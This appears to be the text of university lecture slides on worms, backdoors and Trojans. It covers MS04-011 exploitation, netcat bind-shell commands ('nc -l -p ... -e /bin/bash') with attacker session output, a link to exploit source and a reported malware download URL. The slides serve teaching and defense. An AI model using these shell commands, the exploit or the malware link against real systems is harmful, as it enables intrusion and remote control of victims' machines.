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Body Snatchers

Invasion of Body Snatchers...

http://www.imdb.com/title/tt0077745/
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Body Snatchers

... or When Worms became Mules...

Interaction

Intentional or accidental.

Cooperation:

W32/CTX was a 1999 virus released on a worm called
W32/Cholera.
The worm acted as a “dropper” of the virus.
http://www.symantec.com/security_response/writeup.jsp?docid=2000-121515-5132-99

Competition:

CodeRed vs. CodeGreen:
. CodeGreen used the same IIS vulnerability exploited by CodeRed.

. CodeGreen removed:
→ CodeRed infection;
→ backdoors of CodeRed variants;
→ the vulnerability (patching it).
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Body Snatchers

CodeGreen’s Malformed HTTP Request

Source: http://www.informit.com/articles/article.aspx?p=366891&seqNum=8
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Body Snatchers

Example of Accidental Interaction

Source: Peter Szor, The Art of Computer Virus, Symantec Press, 2005.
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Worms at War

Worms!

Source: http://dudekpro.deviantart.com/art/Worms-Clan-Wars-Icon-514175665
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Worms at War

Spring 2004...

MS Security Bulletin 04-011 - Critical

Update for Windows 98, NT 4.0, 2000, XP, Server 2003.

Impact of vulnerability: Remote Code Execution.

Attacks LSASS (Local Security Authority Subsystem Service):

mgmt interface for local sec., domain auth., and AD processes;
handles auth. for both cli and srv.

Cause: buffer overrun.

Exploit: specially crafted message.

Consequences: affected system executes code.

Vulnerable ports: 135, 139,445, 593 (TCP).

Source: https://technet.microsoft.com/en-us/library/security/ms04-011.aspx
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Worms at War

Spring 2004...

MS Security Bulletin 04-011 - Critical

Cause: lack of input validaton (message processing).

Exploit: specially crafted LDAP (Lightweight Directory
Access Protocol) message for LSASS on Domain Controllers.

Consequences: LSASS stops responding; OS restarts.

Vulnerable ports: 389, 636, 3268, 3269 (TCP).

Source: https://technet.microsoft.com/en-us/library/security/ms04-011.aspx

Backdoors & Trojan Horses DInf/UFPR

https://technet.microsoft.com/en-us/library/security/ms04-011.aspx


Attack Strategies Backdoors Trojan Horses General

Worms at War

MS04-011
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Worms at War

MS04-011

Vulnerability Details

LSASS Vulnerability - CAN-2003-0533:
A buffer overrun vulnerability exists in LSASS that could allow
remote code execution on an affected system. An attacker who
successfully exploited this vulnerability could take complete control
of the affected system.

Source: https://docs.microsoft.com/en-us/

security-updates/securitybulletins/2004/ms04-011
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Worms at War

MS04-011

Mitigating Factors for LSASS Vulnerability - CAN-2003-0533

Only Windows 2000 and Windows XP can be remotely
attacked by an anonymous user. While Windows Server 2003
and Windows XP 64-Bit Edition Version 2003 contain the
vulnerability, only a local administrator could exploit it.

...

Firewall best practices and standard default firewall
configurations can help protect networks from attacks that
originate outside the enterprise perimeter. Best practices
recommend that systems that are connected to the Internet
have a minimal number of ports exposed.
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Worms at War

MS04-011

Workarounds for LSASS Vulnerability

Use a personal firewall such as the Internet Connection
Firewall, which is included with Windows XP and Windows
Server 2003.

Block the following at the firewall:

UDP ports 135, 137, 138, and 445, and TCP ports 135, 139,
445, and 593
All unsolicited inbound traffic on ports greater than 1024
Any other specifically configured RPC port
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Worms at War

MS04-011

How to exploit?

Compile PoC from [1].

Usage: exploit.exe <Target> <Victim> <Bindport>

[options]

Target OS: 0 - Win XP PRo; 1 - W2K Pro; ...

Works on XP before SP2.

Attacker may then use netcat to connect back.

Detailed info: ms04011.c (Let’s see it!).

[1] http://downloads.securityfocus.com/vulnerabilities/exploits/HOD-ms04011-lsasrv-expl.c
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Worms at War

MS04-011: Code Excerpts
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Worms at War

MS04-011: Code Excerpts
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Worms at War

MS04-011: Code Excerpts

Decoded results

CreateProcessA
ExitThread
LoadLibraryA
WaitForSingleObject

Source: https://defuse.ca/online-x86-assembler.htm#disassembly2
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Worms at War

MS04-011: Exploit Results

Source:
https://pen-testing.sans.org/resources/papers/gcih/exploiting-lsass-buffer-overflow-106640

Backdoors & Trojan Horses DInf/UFPR

https://pen-testing.sans.org/resources/papers/gcih/exploiting-lsass-buffer-overflow-106640


Attack Strategies Backdoors Trojan Horses General

Worms at War

MS04-011: Exploit Results

Source:https:
//pen-testing.sans.org/resources/papers/gcih/exploiting-lsass-buffer-overflow-106640
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Worms at War

The Rise of Mutants

The Beagle (a.k.a. “Bagle”) was a 2004 mass mailer.

Beagle.A targeted any email addr. found on the local machine.

It opened a backdoor on TCP port 6777.

Beagle.B opened a backdoor on TCP port 8866 with remote update
and control functions;
generated a random ID value for each victim and sent it (HTTP
GET) ⇒ Catalog of infected machines.

Beagle.C, Beagle.D, Beagle.E ...

Beagle.F disabled autoupdate; opened TCP port 2745;
exfiltrated data to owned servers;

harvest/mass email by itself.

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
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Worms at War

The Rise of Mutants

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
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Worms at War

The Rise of Mutants

Beagle.M: polymorphic; removal of Netsky; pwd as figure.

Beagle.N–Z and more...

Source: http://www-personal.umich.edu/~rsc/Resources/Beagle_Lessons_1.pdf
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Worms at War

Worms War

Beagle vs. Netsky

Beagle variant to Netsky: “Wanna start a war?”.

Netsky.d variant removed Beagle executable on infected PCs.

Netsky replied: “Bagel - you are a loser”

These 2 (and MyDoom) mass-mailers accounted for >
infections in 2mo. than all 2003 malware...
Source: http://www.accountingweb.co.uk/topic/business/net-users-caught-worm-war-crossfire
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Worms at War

Worms War

Sven Jaschan (malware developer)

Author of Netsky and Sasser.

Sophos credited to him 70% of infections
detected on 1s2004.

17 years old then.

At 19, convicted to 1yr., 9mo. probation.

30 hours community service at German
hospital.

no fines.

(Source:
http://totallytop10.com/

wp-content/uploads/

2010/08/jaschan.jpg)
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Worms at War

Lebreat vs. Sasser

Worm’s message

Netsky(SkyShit),Beagle or

Bagle,Mydoom and Sasser bye bye

bitchs. It will be my game cuz the

fbi or police are not searching for

me to arrest me like ya sasser

loooooooooooooooooooooooooooooool

(next variants will use a better

engine to send thousands of copies to

users.) :P
Source: https://www.sophos.com/en-us/press-office/press-releases/2005/07/va_lebreatd.aspx
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Worms at War

W32/Lebreat-D

Details

Lebreat is a mass-mailing worm and backdoor Trojan (for Windows).

https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Lebreat-D/

detailed-analysis.aspx
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Backdoors

Definition

A backdoor is a program that allows attackers to bypass normal
security controls on a system, gaining access on the attacker’s own
terms.

Source: Skoudis, E., Zeltser, L. Malware: Fighting Malicious Code. Prentice

Hall, 2004.
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Backdoor vs. Trojan

Do not mix the terms!

Backdoors: simply give access to a compromised system.

Trojan horses: pretend to be a legitimate/useful program or
resource.
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Backdoor Access

Types of access

Local escalation of privilege: change level to root/admin.

Remote execution of individual commands: send one
command, the BD runs it and returns the output to the
attacker.

Remote command-line access: remote, fully-powered shell.

Remote control of the GUI: mouse movements, keystrokes,
watch victim’s actions through the network.
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The Networking Swiss Army Knife

netcat

Make connections between programs and the network.

Connects STDIN/STDOUT to any TCP/UDP port.

Listen mode waits for network data:

nc -l -p 1337 -e /bin/bash

Client mode initiates a connection accross the network:

nc <BACKDOOR IP> 1337
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Netcat Example [I]

Victim side

netcat -l -p 12345 -e /bin/bash

Attacker

nc 0.0.0.0 12345
nc: using stream socket
w
11:08:17 up XX days, 11:00, 2 users, load average: 0.03, 0.05, 0.05
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
gregio pts/3 11:04 17.00s 0.04s 0.01s w
gregio pts/4 11:07 1.00s 0.02s 0.00s nc 0.0.0.0 12345

Backdoors & Trojan Horses DInf/UFPR



Attack Strategies Backdoors Trojan Horses General

Netcat Example [II]

Attacker: Reconnaissance
nmap -A -T4 192.168.56.101

Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-29 13:13 BRT
Nmap scan report for 192.168.56.101
Host is up (0.00031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol
2.0)
2222/tcp open EtherNet/IP-1?

Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
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Netcat Example [III]

Attacker: Shell Listener@Victim

nc 192.168.56.101 2222

ls
Honeyd-master
master.zip

w
11:54:29 up 22 min, 1 user, load average: 0.00, 0.01, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
honeyd tty1 11:47 13.00s 0.39s 0.00s w

pwd
/home/honeyd
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Other Examples

Cryptcat:

Netcat + Cryptography (encrypted traffic!)
http://cryptcat.sourceforge.net

TightVNC (Remote Desktop Control):

GUI + client/server architecture
http://www.tightvnc.com
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Backdoor Defenses

Hardening;

Periodic updates/patch application;

Looking for local port listeners;

Firewall deployment and policy (block input).
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Trojan

Definition

A Trojan Horse is a program that appears to have some useful or
benign purpose, but really masks some hidden malicious
functionality.

Source: Skoudis, E., Zeltser, L. Malware: Fighting Malicious Code. Prentice

Hall, 2004.
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Trojans [I]

Goals

Deceiving users into installing the Trojan:

the unsuspecting user become an access vector for the Trojan
on the system.

Being disguised with normal programs on the compromised
system:

Trojans’ camouflage intends to turn users/admins unaware of
their presence.
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Trojan Propagation [I]

Old reliable techniques still working (same as 15-20 years ago).

Social Engineering

Violation of trust ⇒ most effective method for malware
spread!

Involves crafting a story delivered to a victim, waiting for her
to perform some steps that cause an infection.

The story should be “believable”, but in most cases it is not:

bad plot, grammar, figures, motivation...
even so, it works!
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Trojan Propagation [II]

File Execution

Most straightforward method for malware infection:

used together with social engineering (e-mail attachments or
links).

File may be renamed to deceive the user:

Interesting.jpg .exe

iexplore.exe, services.exe, smss.exe etc.

Malicious code may be embedded/encapsulated:

.FLV (Flash), .DOC, .XLS, .PPT, .PDF, .VBS, .JS, .BAT,

.CPL (Control Panel) etc.
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Examples [I]
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What? [I]

After accessing the link:

www.key2web.be/ursib/xmlrpc/includes/framw/

Downloaded “TRE PROTDOC29092014.com”

File type:
PE32 executable for MS Windows (GUI) Intel 80386

32-bit

VirusTotal:

2014-09-29 ⇒ Detection rate = 4/53
2014-10-02 ⇒ Detection rate = 23/55
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Examples [II]
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What? [II]
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Examples [III]
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What? [III]
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Examples [IV]
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What? [IVa]
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What? [IVb]
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What? [IVc]
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What? [IVd]
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What? [IVe]
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What? [IVf]
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Example [V]
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What? [V]

http://bit.ly/1uCglfk

expands to:

http://xx.yyy.zzz.76/declaracaoeduardo/Video.

EduardoCampos.flv.zip

CPL: PE32 executable for MS Windows (DLL) (GUI)

Intel 80386 32-bit

VirusTotal:
2014-10-02 16:57 ⇒ Detection rate = 3/55
2014-10-02 18:29 ⇒ Detection rate = 6/54

Gen:Variant.Delf.284; Trojan.Win32.Generic.AfKv;
Gen:Variant.Delf.284;
HEUR:Trojan-Downloader.Win32.Generic; Trojan.Downloader;
Gen:Variant.Delf.284
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Optional Hands-On

Challenge

1 Install a copy of MS Windows XP SP1 in a virtual machine
(e.g. VirtualBox).

2 Compile the MS04-011 exploit shown in this class.

3 Start a sniffer to tap the connection between the attacker’s
machine and the target.

4 Try to exploit the vulnerable service running on the guest.

5 Analyze the captured network traffic and report the findings.
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